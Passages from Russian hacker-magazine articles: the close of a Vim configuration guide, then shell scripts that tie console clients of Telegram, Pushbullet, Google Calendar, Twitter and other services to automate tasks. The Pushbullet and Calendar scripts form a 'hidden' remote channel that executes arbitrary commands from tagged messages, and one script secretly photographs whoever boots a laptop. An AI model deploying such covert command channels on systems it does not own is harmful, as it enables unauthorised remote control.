,  ты, естес твен но, ставь свой любимый. Мно гие поль зовате ли Linux пред‐ 

почита ют   или  .

Mona‐
co

Terminus Roboto

set guifont=Monaco:h15

Уда лим задер жку при перек лючении режимов редак тора:

set timeoutlen=1000 ttimeoutlen=0

До бавим  под дер жку  ремапа  рус ских  сим волов  на  латин ские.  Это  поз волит
тебе не перек лючать рас клад ку в режиме редак тирова ния (нап ример, нажать
 вмес то  ). Добав ляем такие стро ки в кон фиг:вв dd

set keymap=russian‐jcukenwin

set iminsert=0

set imsearch=0

highlight lCursor guifg=NONE guibg=Cyan

А затем ска чива ем файл   (для  !) и кла дем его
в каталог  .

russian‐jcukenmac.vim macOS
~/.vim/keymap

От меним перенос строк. Это необя затель но, но лич но я не люб лю перено‐ 
сы в коде.

set nowrap

Ус тановим нас трой ки сво рачи вания бло ков кода:

set foldmethod=indent

set foldnestmax=10

set nofoldenable

set foldlevel=1

Пос тавим тему. Пред лагаю для начала поп робовать одну из самых популяр‐ 
ных  цве товых  схем  в  мире —  .  Про ект    пре дос‐ 
тавля ет тему Solarized в нуж ном для Vim фор мате.

Solarized vim‐colors‐solarized

Кло нируй этот репози торий, перей ди в него и ско пируй файл 
 в пап ку   (надо соз дать, если ее нет):

solarized.

vim ~/.vim/colors/

cd vim‐colors‐solarized/colors

mv solarized.vim ~/.vim/colors/

А теперь вклю чим ее в  :~/.vimrc

colorscheme solarized

" Выбираем темный вариант solarized. Как ты понял, есть еще светлый

set background=dark

" Укажем явно количество цветов

let g:solarized_termcolors = 256 

Иног да  Vim  некор рек тно  рас позна ет  типы  фай лов  и  вклю чает  левый  син‐ 
таксис. Нап ример, если ты кодишь на Rails, навер няка про бовал шаб лониза‐ 
тор  .  Vim из  короб ки  не может  кор рек тно  под све чивать  син таксис  таких
шаб лонов. К счастью, Slim  грам матичес ки сов местим с фор матом  ,  так
что давай зас тавим его под све чивать   в грам матике Haml:

Slim
Haml

.slim

au BufRead,BufNewFile *.slim setfiletype haml

Ра зуме ется,  это  час тный  при мер.  Этот  же  трюк  ты  можешь  пов торять
для любых нуж ных типов фай лов.

С базовы ми нас трой ками все. Теперь пла гины.
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КАК ПЕРЕСТАТЬ БОЯТЬСЯ VIM

И НАЧАТЬ ЕГО

ИСПОЛЬЗОВАТЬ

UNIXOID  НАЧАЛО СТАТЬИ←

Шаг 3. Уста новим пакет ный менед жер
Для Vim, как и для Sublime или Atom, есть нес коль ко пакет ных менед жеров. Я

пред почитаю   — один из самых удоб ных и прос тых в нас трой ке.Vundle

Кло нируй Vundle:

git clone https://github.com/VundleVim/Vundle.vim.git ~/.vim/bundle/

Vundle.vim

До бавь в   такие стро ки:~/.vimrc

set nocompatible              " be iMproved, required

filetype off                  " required

set rtp+=~/.vim/bundle/Vundle.vim

call vundle#begin()

Plugin 'VundleVim/Vundle.vim'

"

" Сюда будем вписывать плагины, которые хотим установить

"

call vundle#end()            " required

filetype plugin indent on    " required

Об рати вни мание на  ком мента рий. В это мес то фай ла мы будем впи сывать

ссыл ки на пла гины, которые нуж но уста новить. Фор мат такой:

Plugin 'tpope/vim‐fugitive'

Plugin 'rstacruz/sparkup', {'rtp': 'vim/'}

Plugin 'git://git.wincent.com/command‐t.git'

...

Впи сыва ешь  пла гин,  сох раня ешь  ,  а  затем  выпол няешь  коман ду

в тер минале:

~/.vimrc

vim +BundleInstall! +BundleClean +q

Vundle обна ружит новый пла гин и пос тавит его.

Ста вим пла гины через Vundle

Ссыл ки  на  пла гины  мож но  впи сывать  в  раз ном  фор мате,  смот ри 

. В слу чае пла гинов с Гит хаба фор мат будет таким:

до кумен‐ 

тацию

Plugin '<username>/<repository>'

Шаг 4. Уста новим пла гины и нас тро им их
Пол ным спис ком сво их пла гинов делить ся не буду:  ты сам с лег костью най‐ 

дешь все нуж ное тебе зап росами типа  . Вмес то это го

при веду  общие,  которые  будут  полез ны  для  перехо дяще го  с  Sublime

или Atom.

vim ract jsx syntax

nerdtree
https://github.com/scrooloose/nerdtree

Это боковая панель с фай ловой струк турой про екта. Ана лог Sidebar в Sub‐

lime или Atom. Все при выч но — выбира ешь файл, откры ваешь его нажати ем

на Enter в нуж ном буфере. Мож но уста новить каталог, от которо го пля сать.

Не заме нимая вещь, если ты при вык к сай дба ру в Sublime

Из полез ных трю ков пред лагаю замапить откры тие и скры тие этой панель ки

по   +  :Ctrl e

nmap <silent> <C‐E> :NERDTreeToggle<CR>

По казы вать скры тые фай лы по умол чанию:

let NERDTreeShowHidden=1

Вклю чать NERDTree для всех табов:

nmap <silent> <C‐N> :NERDTreeTabsToggle<CR>

CtrlP
https://github.com/kien/ctrlp.vim

Пла гин  для  быс тро го  перехо да  к  нуж ному  фай лу  в  про екте  по  его  наз‐ 

ванию.  Ищет  не  толь ко  пол ное  соот ветс твие,  ста рает ся  най ти  все  фай лы,

в пути которых встре чает ся вве ден ная пос ледова тель ность сим волов.

CtrlP ищет фай лы в про екте по вве ден ной ком бинации сим волов

На жима ешь   +  , вво дишь  , и пла гин находит файл 

.

Ctrl p acu <A>pplication/<

C>ontrollers/<U>sers.rb

indentLine
https://github.com/Yggdroot/indentLine

Пла гин  рису ет  линии  отсту па  в  коде,  помогая  отсле живать  вло жен ность.

Рань ше  я  исполь зовал  ,  но  его  глю ки  меня  поряд ком  дос‐ 

тали. Пла гин indentLine работа ет вро де бы получ ше.

vim‐indent‐guides

Ли нии отсту па. Что тут еще ска зать

Из полез ных нас тро ек пред лагаю выс тавить сим вол отсту па:

let g:indentLine_char = '│'

Де фол тный «кро кодил» уж боль но отвле кает вни мание.

vim-startify
https://github.com/mhinz/vim‐startify

Пла гин  добав ляет  удоб ный  стар товый  экран  для  тво его  Vim.  На  нем

можешь  выб рать  пос ледние  откры тые  фай лы,  перей ти  к  про екту  (в  тер‐ 

миноло гии Vim — session).

vim‐startify поможет быс тро перей ти к рабоче му фай лу или сес сии

Из полез ностей нелиш ним будет добавить сле дующие стро ки:

autocmd VimEnter *

              \   if !argc()

              \ |   Startify

              \ |   NERDTree

              \ |   wincmd w

              \ | endif

Это зас тавит vim‐startify нор маль но работать вмес те с NERDTree.

vim-easy-align
https://github.com/junegunn/vim‐easy‐align

От личный  пла гин  для  быс тро го  вырав нивания бло ков  кода  по  сим волам.

Дру гими сло вами, что бы из

let abc='foo'

let abcdef='bar'

let abcdefghi='baz'

быс тро сде лать

let abc       = 'foo'

let abcdef    = 'bar'

let abcdefghi = 'baz'

В  наличии  регуляр ки,  безум ный  син таксис  и  целая  стра ница  с  при мера ми

команд  вырав нивания  кода  для  раз ных  язы ков. Обра ти  вни мание  на  стро ки

из start guide:

xmap ga <Plug>(EasyAlign)

nmap ga <Plug>(EasyAlign)

Пер вая  запус кает  EasyAlign  в  инте рак тивном  режиме  по    (нап ример,

), вто рая — то же самое для бло ка ( ).

ga

vipga gaip

Goyo и удоб ное написа ние тек стов
https://github.com/junegunn/goyo.vim

Хо роший помощ ник для тех, кто мно го пишет. Пла гин уби рает все лиш ние

панели,  инди като ры  и  цен три рует  текст,  поз воляя  сфо куси ровать ся  на  соз‐ 

дании кон тента. По сути, это реали зация distraction‐free mode, вок руг которой

даже делали отдель ные тек сто вые редак торы вро де  .ommwriter

Я забин дил перек лючение в этот режим по   +   в  . По дороге

отклю чает ся все, что не нуж но, и вклю чают ся нуж ные опции:

Ctrl g ~/.vimrc

map <silent> <C‐g> :NERDTreeTabsToggle<CR><bar>:set wrap nolinebreak<

CR><bar>:Goyo<CR><bar>:set background=light<CR>

Goyo отклю чает ненуж ные эле мен ты, поз воляя скон цен три ровать ся

на кон тенте

Во обще, для фай лов в фор мате Markdown у меня авто мати чес ки вклю чают ся

такие нас трой ки:

" Включаем светлый фон

autocmd FileType markdown :set background=light

" Включаем перенос строк, для текста он нужен

autocmd FileType markdown :set wrap linebreak nolist

" Включаем режим distraction‐free, активируя Goyo

autocmd FileType markdown :Goyo

" Включаем проверку орфографии

autocmd FileType markdown :set spell spelllang=ru_ru

vim-airline
https://github.com/vim‐airline/vim‐airline

Must‐have‐панель  со  ста тус ной  информа цией  по  текуще му  откры тому

фай лу. Навер няка ты видел ее в боль шинс тве скрин шотов Vim в интерне те —

пла гин  очень  популя рен. Панель  инте рак тивная,  показы вает  текущий режим

работы,  рас клад ку,  кодиров ку,  позицию  кур сора  в  фай ле,  стро ке  и  мно гое

дру гое.

vim‐airline наг лядно показы вает текущий ста тус

Так же советую гля нуть про ект‐сател лит  . Это кол лекция тем

для  vim‐airline,  которая  поз воля ет  тво ей  ста тус ной  стро ке  орга нич но  впи‐ 

сывать ся в основную цве товую схе му редак тора.

vim‐airline‐themes

ВЫВОДЫ
Vim нель зя вос при нимать как прос то еще один тек сто вый редак тор. Это неч то

срод ни  коман дной  стро ке  Unix.  Те,  кто  не  уме ет  ее  исполь зовать,  счи тают

коман дную стро ку анах рониз мом. Те, кто уме ет и зна ет, исполь зуют ее пос‐ 

тоян но  и  выпол няют  свои  задачи  нам ного быс трее  людей,  пред почита ющих

гра фичес кий интерфейс.

Как и у коман дной стро ки, у Vim очень высокий порог вхож дения. Его нель‐ 

зя прос то запус тить и начать исполь зовать. Сна чала ты дол жен понять, как он

работа ет,  на  каких  прин ципах  базиру ется  и  почему  он  имен но  такой,  какой

есть.  Затем  тебе  при дет ся  заучить  мно жес тво  команд,  поп ракти ковать ся,

набить руку — толь ко тог да Vim ста нет для тебя дей стви тель но удоб ным, и ты

уже не про меня ешь его ни на какой дру гой редак тор.

По ста тис тике одной фир мы, поль зовате лей Vim берут на работу чаще,

чем осталь ных

Нуж но ли тебе это? Зависит от того, нас коль ко час то ты работа ешь с тек сто‐ 

выми дан ными: пишешь статьи, код, редак тиру ешь HTML. Vim может сде лать

эту работу нам ного более эффектив ной. При этом навыки при годят ся и при

работе в дру гих прог раммах — пла гины с режимом Vim есть поч ти для всех

популяр ных сред раз работ ки. Я,  к при меру, исполь зую пла гин  IdeaVim в An‐

droid  Studio.  Он  поз воля ет  получить  мощь  команд  Vim,  не  отка зыва ясь

от богатых воз можнос тей сре ды Idea.

:wq!

https://github.com/VundleVim/Vundle.vim
https://github.com/VundleVim/Vundle.vim
https://github.com/scrooloose/nerdtree
https://github.com/kien/ctrlp.vim
https://github.com/Yggdroot/indentLine
https://github.com/nathanaelkane/vim-indent-guides
https://github.com/mhinz/vim-startify
https://github.com/junegunn/vim-easy-align
https://github.com/junegunn/goyo.vim
https://ommwriter.com/
https://github.com/vim-airline/vim-airline
https://github.com/vim-airline/vim-airline-themes
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UNIXOID

Кон соль ные  кли енты  есть  прак тичес ки

для всех популяр ных веб‐сер висов. Мно гие

из  них  не  бле щут  воз можнос тями  и  тем

более  удобс твом  в  работе.  Но  их  мож но

зас крип товать  и  прис пособить  для  совер‐ 

шенно  неожи дан ных  целей:  прев ратить

Google  Calendar  в  сис тему  уда лен ного

исполне ния команд, исполь зовать Telegram

для  поис ка  укра ден ного  ноут бука,  монито‐ 

рить  сер вер  с  помощью  Twitter,  орга низо‐ 

вать скры тый стри минг на YouTube. Об этих

и дру гих трю ках мы и рас ска жем.

TELEGRAM КАК ИНСТРУМЕНТ ЗАЩИТЫ НОУТБУКА
О  том,  как  исполь зовать  Telegram для  ведения  заметок  и  обме на  ссыл ками

меж ду раз ными устрой ства ми, зна ют все. Но что, если пой ти даль ше и прев‐ 

ратить  его  в  неч то  боль шее?  Нап ример,  сис тему  сиг нализа ции,  которая

будет информи ровать тебя, ког да кто‐то пос торон ний вклю чит ноут бук?

Для  это го  мож но  исполь зовать  кон соль ный  кли ент    и  такой

скрипт:

telegram‐cli

#!/bin/bash
ffmpeg ‐y ‐t 1 ‐f video4linux2 ‐s 640x480 ‐r 30 ‐i /dev/video0 ‐f 
image2 $HOME/webcam.png
sleep 5m
scrot ‐z %HOME/screen.png
telegram‐cli ‐W ‐D ‐e "send_photo @USERNAME $HOME/webcam.png `date`"
telegram‐cli ‐W ‐D ‐e "send_photo @USERNAME $HOME/screen.png `date`"
notify‐send ‐i dialog‐warning ‐t 10000 "Ты. Да, да. Ты." "Тебе кто 
разрешил?"

Скрипт  сле дует  помес тить  в  авто заг рузку.  Сра зу  пос ле  стар та  машины  он

сде лает фотог рафию с веб‐камеры, сни мет скрин шот, отпра вит все это ука‐ 

зан ному поль зовате лю и выведет на экран гроз ное сооб щение.

Ав тозапуск скрип та при заг рузке мож но нас тро ить при выч ными гра фичес‐ 

кими средс тва ми. Нап ример, в KDE для это го есть спе циаль ный пункт меню

в сис темных нас трой ках.

Со обще ния, отправ ленные в Telegram сра зу пос ле заг рузки сис темы

Для уста нов ки telegram‐cli поль зовате лям Arch Linux и осно ван ных на нем сис‐ 

тем дос таточ но выпол нить

$ yaourt ‐S telegram‐cli‐git

Поль зовате лям  осталь ных  сис тем  при дет ся  соб рать  кли ент  самос тоятель но

с  помощью    и  ,  пред варитель но  уста новив  Readline,

OpenSSL, libconfig, liblua, Python и libjansson.

./configure make

В момент  пер вого  запус ка  telegram‐cli  зап росит  номер  телефо на  в фор‐ 

мате  ,  а  затем  код  безопас ности  из  СМС  и  пароль,  если  он

исполь зует ся.

+71234567890

УПРАВЛЕНИЕ КОМПОМ С ПОМОЩЬЮ PUSHBULLET
С помощью   при веден ный выше скрипт мож но

допол нить фун кци ей отправ ки СМС на ука зан ный телефон (сооб щение при‐ 

дет с под клю чен ного к Pushbullet смар тфо на):

кон соль ного кли ента Pushbullet

$ pb sms ‐d 0 ‐n +12345678901 "Началось!"

Но  гораз до  инте рес нее  исполь зовать  Pushbullet  в  про тиво полож ном  нап‐ 

равле нии,  отправ ляя  со  смар тфо на  на  компь ютер  пуш‐сооб щения  c  коман‐ 

дами на исполне ние (нап ример,  ):Y3g5f27g shutdown ‐P

#!/bin/bash
PASS="Y3g5f27g"
while :
   do
   CMD=$(pb list | grep $PASS | cut ‐c 10‐)
 if [ "$CMD" ]; then
     pb purge
     $CMD
 fi
   sleep 5m
done

Пре фикс  в  начале сооб щения  ( )  нужен,  что бы отфиль тро вать  лиш‐ 

ние  сооб щения  и  обес печить  защиту  от  несан кци они рован ного  дос тупа.

По завер шении цик ла коман да в сооб щении будет выпол нена, а само сооб‐ 

щение уда лено.

Y3g5f27g

Скрипт  сле дует  помес тить  в  авто заг рузку,  пред варитель но  уста новив

и нас тро ив  .pushbullet‐cli

Ко ман да, отправ ленная на компь ютер с помощью Pushbullet

Pushbullet‐cli мож но уста новить из репози тория Python:

$ pip install pushbullet‐cli

Пос ле  уста нов ки  необ ходимо  прой ти  авто риза цию,  вве дя  токен  с  помощью

такой коман ды:

$ pb set‐key

Сам токен мож но получить в панели управле ния на  :«Settings →
Account → Access Tokens», нажав кноп ку «Create Access Token».

сай те сер виса

ОТПРАВКА СКРЫТЫХ КОМАНД С ИСПОЛЬЗОВАНИЕМ GOOGLE
CALENDAR
Ес ли  исполь зование  сис темы  push‐уве дом лений  для  управле ния  ком пом

тебе  кажет ся  слиш ком  оче вид ным,  то  у  меня  есть  хорошие  новос ти.  То  же

самое мож но орга низо вать с помощью кален даря Google. Вряд ли раз работ‐ 

чики кон соль ного кли ента   пред полага ли, что кто‐то ста нет его исполь‐ 

зовать таким обра зом, но мы прос тых путей не ищем.

Gcalcli

Скрипт выг лядит так:

#!/bin/bash
while :
do
 CMD=$(gcalcli search "Y3g5f27g" '2017‐09‐02T14:00' '2017‐09‐02T15:

00' | cut ‐c 42‐)
 if [ "$CMD" ]; then
   gcalcli delete ‐‐iamaexpert "Y3g5f27g" '2017‐09‐02T14:00' 
'2017‐09‐02T15:00'
   $CMD
 fi
 sleep 5m

done

Что бы  отпра вить  коман ду,  необ ходимо  соз дать  в  кален даре  мероп риятие

с мар кером Y3g5f27g (нап ример,  ) в про межут ке меж‐ 

ду  14:00  и  15:00  часами 2  сен тября  2017  года. Скрипт  выпол нит  ука зан ную

коман ду и уда лит мероп риятие.

Y3g5f27g shutdown ‐P

Gcalcli мож но уста новить из репози тория Python:

$ pip install gcalcli

Для  авто риза ции  при ложе ния  в  сер висе  дос таточ но  запус тить  его  с  любым

аргу мен том:

$ gcalcli list

Про цесс авто риза ции запус тится в авто мати чес ком режиме в веб‐бра узе ре.

Прос то сле дуй появ ляющим ся инс трук циям.

TWITTER И МОНИТОРИНГ СЕРВЕРА
Еще одно полез ное при мене ние веб‐сер висов — монито ринг сер вера. Пись‐ 

ма со свод кой дан ных о сос тоянии сер вера — прош лый век, сегод ня миром

пра вят твит тер и мес сен дже ры, поэто му почему бы не исполь зовать их?

Сле дующий  скрипт  отправ ляет  сооб щение  с  дан ными  о  сос тоянии

машины, исполь зуя кон соль ный кли ент твит тера  :Oysttyer

#!/bin/bash
HOST=`hostname ‐s`
UP=`uptime | cut ‐d" " ‐f4,5 | cut ‐d"," ‐f1`
LOAD=`uptime | cut ‐d":" ‐f5,6`
MEM=`ps aux | awk '{ sum += $4 }; END { print sum }'`
CPU=`ps aux | awk '{ sum += $3 }; END { print sum }'`
tweet="Host: ${HOST}, uptime ${UP}, cpu: ${CPU}%, memory: ${MEM}%, 
loadavg ${LOAD}"
if [ $(echo "${tweet}" | wc ‐c) ‐gt 140 ]; then
   echo "ОШИБКА: Длина сообщения превышает 140 знаков!"
   exit 1
fi
echo $tweet
echo $tweet | oysttyer ‐script

Его  сле дует  повесить  на  исполне ние  с  опре делен ным  интерва лом  в  cron.

Вмес то Oysttyer мож но исполь зовать дру гой кон соль ный кли ент —  . В этом

слу чае пос леднюю стро ку скрип та сле дует изме нить на такую:

bti

echo $tweet | bti ‐‐action update

Oysttyer  дос тупен  в  репози тори ях  боль шинс тва  популяр ных  сис тем.  Самая

све жая  вер сия  на  Гит хабе:  кло ниру ешь  репози торий,  копиру ешь  бинар ник

oysttyer без рас ширения   в каталог   с пра вами 755..pl /usr/bin
Для  авто риза ции  при ложе ния  в  сер висе  дос таточ но  во  вре мя  пер вого

запус ка перей ти по ука зан ной ссыл ке, при нять пред ложение об авто риза ции,

ско пиро вать сге нери рован ный PIN, вер нуть ся в тер минал и вста вить его.

ДИНАМИЧЕСКАЯ ПОДПИСЬ ДЛЯ ФОРУМА С ПОМОЩЬЮ DROPBOX
Есть  мас са  раз личных  .  Мы  при дума ем

еще один: нас тро им авто мати чес кое фор мирова ние динами чес кой под писи

для форума, в которой будет инфа о текущей кон фигура ции нашей сис темы.

Для это го понадо бит ся screenfetch, imagemagick и такой скрипт:

ва риан тов  исполь зования  Dropbox

#!/bin/bash
while :
do
   echo `screenfetch ‐n | grep OS | cut ‐c 20‐ && screenfetch ‐n | 
grep Kernel | cut ‐c 24‐ && screenfetch ‐n | grep DE | cut ‐c 20‐` | 
convert ‐pointsize 18 ‐transparent white label:@‐ $HOME/Dropbox/scrf.
png
   sleep 12h
done

Скрипт фор миру ет изоб ражение неболь шого раз мера и сох раня ет его в пап‐ 

ку,  отсле жива емую  и  син хро низи руемую Dropbox,  а  затем  засыпа ет  на  две‐ 

над цать часов.

Что бы вста вить изоб ражение в под пись на форуме, необ ходимо соз дать

пря мую  ссыл ку  на  файл  scrf.png.  Это  мож но  сде лать  с  помощью

веб‐интерфей са  Dropbox  (фун кция  «Поделить ся»)  либо  с  помощью 

:

офи‐ 

циаль ного скрип та

$ dropbox sharelink ~/Dropbox/scrf.png

Пе ред  встав кой  получен ной  ссыл ки  в  под пись  форума  замени    на 

.

?dl=0 ?
raw=1

Под пись на форуме, изме няющаяся вслед за сме ной вер сии упо мяну тых

в ней ком понен тов

КОНСОЛЬНЫЙ SPEEDTEST
У  Speedtest  тоже  есть  кон соль ный  кли ент  —  .  И  да,  сам  бог

интерне та велел исполь зовать его для фор мирова ния под писи на форуме:

speedtest‐cli

#!/bin/bash
wget $(speedtest‐cli ‐‐simple ‐‐share | grep Share | cut ‐c 16‐) ‐b ‐
O $HOME/Dropbox/scrf.png

По ка  что  ути лита  пред лага ет  толь ко  ста рую  вер сию бан нера.  Но  воз можно,

автор при мет отправ ленный ему пулл‐рек вест и вне сет изме нения в исходни‐ 

ки. Уста новить кли ент мож но из репози тория Python:

$ pip install speedtest‐cli

АВТОМАТИЧЕСКОЕ СКАЧИВАНИЕ НОВОГО ВИДЕО ИЗ YOUTUBE
Ска чива ние  виде окон тента,  раз мещен ного  на  YouTube,  зап рещено  поль‐ 

зователь ским сог лашени ем сер виса. Тем не менее интернет изо билу ет инс‐ 

тру мен тами,  с  помощью  которых  мож но  нажати ем  одной  кноп ки  получить

копию виде оро лика себе на компь ютер.

Нам, конеч но, инте рес но сде лать это с помощью кон соль ных инс тру мен‐ 

тов, которые лег ко бы под давались скрип тованию. Нап ример,  .youtube‐dl

Пред став ленный  ниже  скрипт  при  пер вом  запус ке  ска чива ет  все  содер‐ 

жимое ука зан ного в нем плей‐лис та YouTube, а затем каж дый час про веря ет

этот  плей‐лист  на  появ ление  нового  видео,  ска чива ет  это  видео  в  слу чае

обна руже ния  и  уве дом ляет  об  этом. Скрипт  удоб но  исполь зовать  на  сво ем

домаш нем сер вере: ты прос то добав ляешь новое видео в плей‐лист со смар‐ 

тфо на по пути домой, а скрипт его ска чива ет еще до тво его при хода.

Что бы  отклю чить  авто мати чес кую  про вер ку  на  новое  видео  каж дый  час,

дос таточ но заком менти ровать пер вые две и пос ледние две стро ки скрип та.

#!/bin/bash
while :
do
   # Адрес плей‐листа
   URL="https://www.youtube.com/playlist?list=PLj5JpYuSlJ‐‐mjBa1W
POZVckzCgI1pxWm"
   CMD=$(echo `youtube‐dl ‐s ‐‐download‐archive ~/.archive.txt ‐o 
'~/Youtube/%(uploader)s/%(playlist_index)s ‐ %(title)s.%(ext)s' $URL`
| grep ‐m 1 MPD | cut ‐c 1)
   if [ "$CMD" ]; then
       youtube‐dl ‐R ‐‐download‐archive ~/.archive.txt ‐o '~/
Youtube/%(uploader)s/%(playlist_index)s ‐ %(title)s.%(ext)s' $URL
       notify‐send ‐i dialog‐warning ‐t 120000 "Youtube‐dl" 
"Загружено новое видео"
   fi
   sleep 1h
done

Все очень прос то:

$ sudo curl ‐L https://yt‐dl.org/downloads/latest/youtube‐dl ‐o /usr
/local/bin/youtube‐dl
$ sudo chmod a+rx /usr/local/bin/youtube‐dl

СТРИМИНГ В YOUTUBE
Пос ле  того  как  ты  пос мотрел  на  дру гих,  самое  вре мя  показать  и  себя.  Все

на  том  же  юту бе,  под твер див  свою  учет ную  запись  через  СМС  и  получив

в  «Твор ческой  сту дии»  собс твен ный  ключ  тран сля ции,  мож но  орга низо вать

стри минг. FFmpeg неп лохо с этим справ ляет ся:

#!/bin/bash 
# Ключ авторизации
PID="xxxx‐xxxx‐xxxx‐xxxx"
# Битрейт
BR="2500k"
ffmpeg \
‐f alsa ‐ac 1 ‐i pulse \
‐f v4l2 ‐r 10 ‐framerate 30 ‐i /dev/video0 \
‐vcodec libx264 ‐pix_fmt yuv420p ‐preset ultrafast ‐g 20 ‐b:v $BR \
‐acodec libmp3lame ‐ar 44100 \
‐threads 0 ‐bufsize 512k \
‐f flv rtmp://a.rtmp.youtube.com/live2/$PID &> stream.log

За меной стро ки

‐f v4l2 ‐r 10 ‐framerate 30 ‐i /dev/video0 \

на

‐f x11grab ‐r 10 ‐s 1024x720 ‐i :0.0+0,24 \

мож но  зас тавить  сце нарий  тран сли ровать  не  изоб ражение  с  веб‐камеры,

а  скрин каст  монито ра.  Разуме ется,  адрес  устрой ства  ( )

в пер вом слу чае и раз решение монито ра во вто ром необ ходимо уста новить

свои.

ls  /dev/video*

ПЕРЕВОД СТРОКИ ПО ХОТКЕЮ
Средств язы ково го перево да тек ста в пос леднее вре мя раз велось порядоч‐ 

но.  Некото рые  из  них  спо соб ны  даже  пох вастать  исполь зовани ем  в  сво ей

работе искусс твен ного интеллек та. И хотя порой резуль таты их тру да наводят

на мысль об интеллек те уда ва, тем не менее подоб ный сер вис в пов седнев‐ 

ной работе будет неп лохим под спорь ем.

Раз уж средств перево да мно го, то и при выборе кон соль ного при ложе ния

сто ит  пред почесть  такое,  которое  спо соб но  в  сво ей  работе  задей ство вать

если  не  все,  то  хотя  бы  самые  популяр ные  из  них.    их  зна ет

и широко исполь зует в сво ей работе, пред лагая в режиме коман дной стро ки

перевод вве ден ного с кла виату ры тек ста, тек сто вых фай лов и даже веб‐стра‐ 

ниц в интерне те.

Translate  shell

Прав да, иног да, даже если снос но вла деешь инос тран ным язы ком, могут

встре тить ся  нез накомые  фра зы,  не  понимая  которые  труд но  разоб рать

смысл про читан ного. Не лезть же ради это го в тер минал. Тут на выруч ку при‐ 

ходит спе циаль ный сце нарий:

#!/bin/bash
notify‐send "Ищу перевод..." " "
TEXT=$(xclip ‐selection primary ‐o)
TRANS=$(translate‐shell ‐b "$TEXT" ‐output $HOME/.trans.txt)
TRAX=$(cat $HOME/.trans.txt)
TRAN=$(echo ‐e "$TRAX n" >> /tmp/trans.txt)
cp /dev/null $HOME/.trans.txt
$TRANS
if [ "$TRAX" ]; then
   notify‐send "ПЕРЕВОД:" "$TRAX"
   $TRAN
else
   notify‐send "ОШИБКА:" "Нет связи с сервисом"
fi

Дос таточ но  при вязать  запуск  это го  сце нария  к  пред почти тель ному  сочета‐ 

нию  кла виш,  что бы  при  их  зажатии  перевод  на  рус ский  язык  выделен ного

перед  этим  тек ста  выводил ся  в  виде  всплы вающе го  сооб щения  и  одновре‐ 

мен но дописы вал ся в  тек сто вый файл во вре мен ной пап ке. Язык ори гина ла

translate‐shell  опре делит  самос тоятель но.  При  отсутс твии  свя зи  с  сетевым

сер висом сце нарий пре дус мотри тель но об этом уве домит.

Вы вод перево да выделен ного тек ста во всплы вающем сооб щении

REDDIT КАК ИСТОЧНИК СВЕЖИХ ОБОЕВ
Че лове ку,  перело жив шему  часть  ежед невной  рутины  на  сво его  элек трон‐ 

но‐вычис литель ного бра та, на пер вых порах, что бы как‐то соб рать ся с мыс‐ 

лями  от  избытка  обру шив шегося  сво бод ного  вре мени,  ничего  не  оста ется,

как  созер цать  обои  на  рабочем  сто ле  сво его  монито ра.  В  такие  минуты

кто‐то решит, что новогод ние пей зажи, пережив шие лето, смот рятся сов сем

уж неумес тно, и  тог да нач нет лихора доч но про чесы вать фотобанк в поис ках

под ходящих кар тинок.

К  счастью,  у  нас  в  запасе  остался  сце нарий,  который  не  толь ко  меня ет

обои  рабоче го  сто ла,  но  и  избавля ет  поль зовате ля  от  бре мени  их  поис ка

и выбора. Фун кцию уста нов ки обо ев из под борки выпол няет кон соль ный feh,

а саму под борку wget со товари щи выужи вают из Reddit.

#!/bin/bash
wget ‐O ‐ http://www.reddit.com/r/wallpaper | grep ‐Eo 'http://i.
imgur.com[^&]+jpg' | shuf ‐n 1 | xargs wget ‐O background.jpg
feh ‐‐bg‐fill background.jpg

ВЫВОДЫ
Это лишь нес коль ко при меров того, как мож но исполь зовать кон соль ные инс‐ 

тру мен ты для вза имо дей ствия с веб‐сер висами. При желании ты можешь их

ком биниро вать  и  переде лывать  под  дру гие  сер висы.  Нап ример,  исполь‐ 

зовать  скрипт  монито рин га  сер вера  в  сочета нии  с  Telegram  вмес то  Twitter

или, наобо рот, отправ лять алар мы о вклю чении ком па в DM твит тера вмес то

телег рама. Ну и конеч но же, при думать свои собс твен ные вари анты исполь‐ 

зования!

mailto:ostapenko.public@gmail.com
https://github.com/vysheng/tg
https://github.com/GustavoKatel/pushbullet-cli
https://www.pushbullet.com/
https://github.com/insanum/gcalcli
https://github.com/oysttyer/oysttyer
https://github.com/gregkh/bti
https://xakep.ru/2016/10/13/dropbox-10-tricks/
http://www.dropboxwiki.com/tips-and-tricks/using-the-official-dropbox-command-line-interface-cli
https://github.com/sivel/speedtest-cli
https://github.com/rg3/youtube-dl
https://github.com/soimort/translate-shell
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